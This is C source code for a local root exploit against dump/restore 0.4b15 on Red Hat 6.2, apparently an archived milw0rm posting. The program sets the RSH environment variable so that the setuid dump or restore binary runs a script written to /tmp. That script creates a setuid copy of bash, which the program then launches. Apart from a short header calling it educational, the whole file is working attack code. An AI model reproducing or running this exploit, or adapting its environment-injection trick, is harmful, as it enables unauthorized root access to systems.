dump 0.4b15 (RedHat 6.2) - Local Privilege Escalation

/*
**
**  dump-0.4b15x.c
**
**  dump-0.4b15 exploit:
**  Redhat 6.2 dump command executes
**  external program with suid priviledge.
**
**  affected:
**     /sbin/dump
**     /sbin/dump.static
**     /sbin/restore
**     /sbin/restore.static
**
**  Bug found by [email protected]
**
**  This example was coded by [email protected]
**  It was written for EDUCATIONAL PURPOSES ONLY.
**
**
*/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define RUNME     "/tmp/runme"      	/* tmp file		   */
#define SUID_PATH "/tmp/superdude"		/* the power of root */

void usage(char *pname)
{
 fprintf(stdout, "\nUsage: %s < d | s | r | p >\n\n", pname);
 fprintf(stdout,   "  d - exploit /sbin/dump\n");
 fprintf(stdout,   "  s - exploit /sbin/dump.static\n");
 fprintf(stdout,   "  r - exploit /sbin/restore\n");
 fprintf(stdout,   "  p - exploit /sbin/restore.static\n\n");
}

int main(int argc, char *argv[], char *envp[])
{
 int fd;
 pid_t pid;
 char *bad_env[] = { "TAPE=garbage:garbage", "RSH="RUNME };
 char   runbuf[] = { "#!/bin/sh\n/bin/cp /bin/bash "
                    SUID_PATH "\nchmod 6755 " SUID_PATH };

 char *suid[] = { SUID_PATH, NULL };
 char   *av[] = { "/sbin/restore.static", "restore.static",
                  "-t", "/tmp/foo" };

 if (argc != 2) {
  usage(argv[0]);
  exit(1);
 }

 switch(tolower(argv[1][0])) {

  case 'd':
   av[0] = "/sbin/dump";
   av[1] = "dump";
   av[2] = "-0";
   av[3] = "/";
   break;

  case 's':
   av[0] = "/sbin/dump.static";
   av[1] = "dump.static";
   av[2] = "-0";
   av[3] = "/";
   break;

  case 'r':
   av[0] = "/sbin/restore";
   av[1] = "restore";
   break;

  case 'p':
   break;

  default:
   usage(argv[0]);
   exit(1);
 }

 if ((fd = open(RUNME,O_WRONLY|O_CREAT|O_TRUNC, 0755)) == -1) {
  perror("fopen");
  exit(1);
 }

 if (write(fd, runbuf, sizeof(runbuf)) == -1) {
  perror("write");
  exit(1);
 }
 close(fd);

 if ((pid = fork()) < 0) {
  perror("fork");
  exit(1);
 }

 else if (pid == 0) {
  if (execle(av[0], av[1], av[2], av[3], NULL, bad_env) < 0) {
   perror("execle");
   _exit(1);
  }
 }

 sleep(1);
 unlink(RUNME);
 fprintf(stdout, "\nExploited %s \n", av[0]);
 fprintf(stdout, "Running " SUID_PATH "\n");
 execve(SUID_PATH, suid, envp);

 exit(0);
}


// milw0rm.com [2000-11-29]